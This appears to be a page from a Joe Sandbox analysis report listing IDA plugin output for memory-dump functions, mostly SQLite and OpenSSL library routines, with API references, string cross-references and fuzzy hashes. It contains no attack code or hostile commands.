Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
API String ID: 3510742995-1299490920
Opcode ID: 2373d38c02e2e4a76698b1fb090f113b65a476f3e2116924a65fba963bb9eb02
Instruction ID: 5cf78dfca0966b08d5d71382a122c2cfed3fcdc7f0aa91cdc474a621174286d0
Opcode Fuzzy Hash: 2373d38c02e2e4a76698b1fb090f113b65a476f3e2116924a65fba963bb9eb02
Instruction Fuzzy Hash: 1D028B22B08B8182EB608B11A4A0B7A77A1FB45B94F844336DE7D877D9DF3CE541C740

Function 00007FFDFF1BC000 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 366COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1BC14D
memcpy.VCRUNTIME140 ref: 00007FFDFF1BC2A7

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1BC10C, 00007FFDFF1BC253
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1BC0F3, 00007FFDFF1BC23A
database corruption, xrefs: 00007FFDFF1BC100, 00007FFDFF1BC247

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: 817f07965b872973eaac22bb409c9f214df0c11972e927506548e115749c78ef
Instruction ID: 8c207c47f3b27d36fc0cfeb173fbdc91903a17be1f882ab9c0341b7d04f4cd6f
Opcode Fuzzy Hash: 817f07965b872973eaac22bb409c9f214df0c11972e927506548e115749c78ef
Instruction Fuzzy Hash: FEF15773B08B81C6DBA08B55E450BAE77A1FB45B94F108236EFAE47799DF39D8448700

Function 00007FFDFF1B7970 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1B7A8A
memset.VCRUNTIME140 ref: 00007FFDFF1B7C1D

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B7DD8
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B7DBF
database corruption, xrefs: 00007FFDFF1B7DCC

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: a95ed21dddb60f74d411bb651dc9e4335d2f63f59c60c2f305be0b71bc662229
Instruction ID: 50be28f66262dcf44550402f21dfe56ba3e45a81913c28b3e210091927961bac
Opcode Fuzzy Hash: a95ed21dddb60f74d411bb651dc9e4335d2f63f59c60c2f305be0b71bc662229
Instruction Fuzzy Hash: A9D1AF33B08686C6DB60CF25D424AA977A5FB88B88F158236DF6D477A8DF39D446C300

Function 00007FFDFF219750 Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 288COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFDFF219F87,?,00000007,?), ref: 00007FFDFF2197D0
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFDFF219F87,?,00000007,?), ref: 00007FFDFF219917

Strings

%.*z:%u, xrefs: 00007FFDFF2199E6
column%d, xrefs: 00007FFDFF219925
rowid, xrefs: 00007FFDFF2198A8

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpymemset
String ID: %.*z:%u$column%d$rowid
API String ID: 1297977491-2903559916
Opcode ID: f0bee09497600864be17848e034d3ccfefe1aad11c816a761260cdf50efc6b1d
Instruction ID: 713e1759bd2807529476fe0dc8d4b0ae0e2e9f67895509807c7da771247f34b4
Opcode Fuzzy Hash: f0bee09497600864be17848e034d3ccfefe1aad11c816a761260cdf50efc6b1d
Instruction Fuzzy Hash: AFB1C922F0968691EB258F159420BBA77A0AF41B98F494335CA7DCB3D9DF3CE805C344

Function 00007FFDFF1DD3D0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D7847), ref: 00007FFDFF1DD52A
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D7847), ref: 00007FFDFF1DD554
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D7847), ref: 00007FFDFF1DD572
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D7847), ref: 00007FFDFF1DD5A7

Strings

H, xrefs: 00007FFDFF1DD53E

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: H
API String ID: 438689982-2852464175
Opcode ID: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction ID: 91ccbb260f200ce6d9432b8417ae4920d7387887ff5adb1bc1acaed08ff454ca
Opcode Fuzzy Hash: cfbeda1bf99951151eff030447c4d7a4d5e89bf1fbf00df94b65fd72b816f457
Instruction Fuzzy Hash: 06915763F1974986EB248A25A460A7E77B1FB84B94F144634DEBD47BD8EF3CE4408B40

Function 00007FFDFF1BB070 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFF1B98B0: memcpy.VCRUNTIME140 ref: 00007FFDFF1B991D
Part of subcall function 00007FFDFF1B98B0: memcpy.VCRUNTIME140 ref: 00007FFDFF1B9944

memcpy.VCRUNTIME140 ref: 00007FFDFF1BB2F3
memcpy.VCRUNTIME140 ref: 00007FFDFF1BB309

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1BB137
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1BB117
database corruption, xrefs: 00007FFDFF1BB130

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3510742995-3727861699
Opcode ID: d722efc5368d3c99c61d6ff00f4d07227d654d843d12c76e9b689ca2d86c9870
Instruction ID: c985ea01bda22ef850dfef7d87ea2bf7c125e5466514637a884354f095c775d9
Opcode Fuzzy Hash: d722efc5368d3c99c61d6ff00f4d07227d654d843d12c76e9b689ca2d86c9870
Instruction Fuzzy Hash: 21816C33B08681C6E760DF66D464AAE67A5FB44784F048136EB6D87BA9DF38E845C700

Function 00007FFDFF1B89A0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B8A66
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B8A4C
database corruption, xrefs: 00007FFDFF1B8A5F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: 5e912ee1f7678e77240253c0303bb73c2f618f6b1c89537da6c189cf6ac1dde9
Instruction ID: 48354dbbe9740254503ed34f485d7eea22dcd84cff3bb746ce504437771ce8e2
Opcode Fuzzy Hash: 5e912ee1f7678e77240253c0303bb73c2f618f6b1c89537da6c189cf6ac1dde9
Instruction Fuzzy Hash: 0D810863B086D18AD7548B25C1A4ABE7BA0FB40B94F084232DBBD876C9CF3CE456C744

Function 00007FFDFF22D690 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000,00000001,00007FFDFF22D93A,?,?,?,00007FFDFF22DCFB), ref: 00007FFDFF22D7F9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000,00000001,00007FFDFF22D93A,?,?,?,00007FFDFF22DCFB), ref: 00007FFDFF22D813
memcpy.VCRUNTIME140(?,?,?,?,?,?,00000000,00000001,00007FFDFF22D93A,?,?,?,00007FFDFF22DCFB), ref: 00007FFDFF22D8A7

Strings

CRE, xrefs: 00007FFDFF22D7EF
INS, xrefs: 00007FFDFF22D809

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: strncmp$memcpy
String ID: CRE$INS
API String ID: 2549481713-4116259516
Opcode ID: 52680c6e02754ac3ba420b7f1e8a91e0a0ea7c6b24201dc1644b3ecea6e89624
Instruction ID: 70b8d91c32576b6a63ab66f2b82114e063e92632b3078178c676aff1ab4efd4c
Opcode Fuzzy Hash: 52680c6e02754ac3ba420b7f1e8a91e0a0ea7c6b24201dc1644b3ecea6e89624
Instruction Fuzzy Hash: 4D518E36B0964281FB649B229460AB96391AF84FD4FD44235CD7DC77DDEE2CE8028361

Function 00007FFDFF1B8CA0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1B8D27
memmove.VCRUNTIME140 ref: 00007FFDFF1B8E05

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B8EC1
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B8EA9
database corruption, xrefs: 00007FFDFF1B8EB5

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpymemmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 167125708-3727861699
Opcode ID: a5e659041314e3c25e76cf73738960ed205ebc87af3a3a0fcf928fdaf9d09721
Instruction ID: ddd7dd48f37b137b5bdd612f0494b5d4aca800d25df877f27e8be1e3b736380f
Opcode Fuzzy Hash: a5e659041314e3c25e76cf73738960ed205ebc87af3a3a0fcf928fdaf9d09721
Instruction Fuzzy Hash: E551BE73B08BC0C5CB108B19E4A49AEBB65F754B94F15823AEBAE43798DB3CD046C704

Function 00007FFDFF19D9E0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF19DA23
memcpy.VCRUNTIME140 ref: 00007FFDFF19DA4C
memset.VCRUNTIME140 ref: 00007FFDFF19DB63

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFDFF19DB38
winRead, xrefs: 00007FFDFF19DAF7

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 438689982-1843600136
Opcode ID: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction ID: 4cde7ed4cd388de2c75f7aca5f0a9be6fbef0c23f1f4f4ebf5172e8de0418b2f
Opcode Fuzzy Hash: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction Fuzzy Hash: CE411933F1C68A82E7209F159850DA97765FB54B88F504231EABD836DCEF3CE4468780

Function 00007FFE013B2225 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

tls_construct_stoc_renegotiate, xrefs: 00007FFE0140A66C
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE0140A678

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\extensions_srvr.c$tls_construct_stoc_renegotiate
API String ID: 0-2728901138
Opcode ID: 679053ebc9ba0e2be0c101f86a4cc3fa07011eeace9af763c9110728d37b8b8c
Instruction ID: 05d8f14233b0fe0690e6662359e10ccc49d291155d5d028488c1650f7eff3d13
Opcode Fuzzy Hash: 679053ebc9ba0e2be0c101f86a4cc3fa07011eeace9af763c9110728d37b8b8c
Instruction Fuzzy Hash: 6A214F50B0828342FB54A773B991BFA5250AF85BC8F5C1134EE4D4FAF6EE6DE8918340

Function 00007FFE013B2095 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE01426892
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014268AA

Strings

tls_construct_cert_status_body, xrefs: 00007FFE01426897
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFE014268A3

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_srvr.c$tls_construct_cert_status_body
API String ID: 193678381-3528029177
Opcode ID: 395af32739d9e1388a7ace2919e8de19fd8d20465216ca2341515999ba12ecb2
Instruction ID: d4323dcdf2a65052a4b66e419f1b14c379cacd7ca9ba8490779ad5cb851b396f
Opcode Fuzzy Hash: 395af32739d9e1388a7ace2919e8de19fd8d20465216ca2341515999ba12ecb2
Instruction Fuzzy Hash: 5301BC20F1968241E750AB62E991BFE4200AF59BC8F894031EE0D4FBF6EE1CE5818302

Function 00007FFE013FF230 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013FF271
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FF289

Strings

..\s\ssl\statem\extensions.c, xrefs: 00007FFE013FF282
final_sig_algs, xrefs: 00007FFE013FF276

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions.c$final_sig_algs
API String ID: 193678381-3611835258
Opcode ID: f3fe5a36c9de4757756a60eb10d14ff6484d06039056aabb35c22c473a5b23b6
Instruction ID: c0da9f9d03e2438093c52473169313112d1466c260a8a8d531ca79119f8e0537
Opcode Fuzzy Hash: f3fe5a36c9de4757756a60eb10d14ff6484d06039056aabb35c22c473a5b23b6
Instruction Fuzzy Hash: A801C81EF1918282FB50A799D850BF81240EF55744F994135DD0CCF6F1DE1DD9C18701

Function 00007FFE013B1172 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C259
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C271

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE0140C26A
tls_parse_ctos_ems, xrefs: 00007FFE0140C25E

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions_srvr.c$tls_parse_ctos_ems
API String ID: 193678381-2230499117
Opcode ID: 40383d9dc9a211c0e3bc815762f8c47ae45f3e812da2e9cb2774085a22dc3526
Instruction ID: cbced2808e5e7802a930792326e79f0e97018ffc9781f2e7c06e9e84ea1a726b
Opcode Fuzzy Hash: 40383d9dc9a211c0e3bc815762f8c47ae45f3e812da2e9cb2774085a22dc3526
Instruction Fuzzy Hash: 9AF08261F0A28283F751A3E6E4957F81640DF51744F984138D90D4EAF3DE7DAAD68700

Function 00007FFE014109F9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE014109FE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01410B3C

Strings

ossl_statem_client13_write_transition, xrefs: 00007FFE01410B2E
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE01410B35

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\statem_clnt.c$ossl_statem_client13_write_transition
API String ID: 193678381-2379272181
Opcode ID: d1418f55befd4cb8194a7d74475eb19e2d2ade963d13e12c9d424808c2afc6ab
Instruction ID: a06704f62a24c2b41f95a2ccfe2cc09b47583dcbf71e004038750071c19123d9
Opcode Fuzzy Hash: d1418f55befd4cb8194a7d74475eb19e2d2ade963d13e12c9d424808c2afc6ab
Instruction Fuzzy Hash: D0E0E260F1C643A2F750ABE1E8A1AFE1201EF91398F944035D90E5E9B6CE6CA6D69740

Function 00007FFDFF1AF650 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFF1ABB70: RaiseException.KERNEL32 ref: 00007FFDFF1ABBC5

memcmp.VCRUNTIME140 ref: 00007FFDFF1AF6A6

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1AF87C
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1AF863
database corruption, xrefs: 00007FFDFF1AF870

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: ExceptionRaisememcmp
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2159421160-3727861699
Opcode ID: 5510feb14dea88ae92a77c34ee5a39bd9dff1919bc737fe2358dd9b970a8dbf4
Instruction ID: c3a0f97b2a8228dddfa565dc4b38ddd629a3fd023ae7314070c5c82ad3bf0e09
Opcode Fuzzy Hash: 5510feb14dea88ae92a77c34ee5a39bd9dff1919bc737fe2358dd9b970a8dbf4
Instruction Fuzzy Hash: B2F15C37F047429BE724CBA58560AAD37A5FB44788F004239DE2D9BB99DF38E855C740

Function 00007FFDFF1F40F0 Relevance: 6.3, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1F4150
memcpy.VCRUNTIME140 ref: 00007FFDFF1F4165
memcpy.VCRUNTIME140 ref: 00007FFDFF1F4189
memcpy.VCRUNTIME140 ref: 00007FFDFF1F41A8
memcpy.VCRUNTIME140 ref: 00007FFDFF1F41C0

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
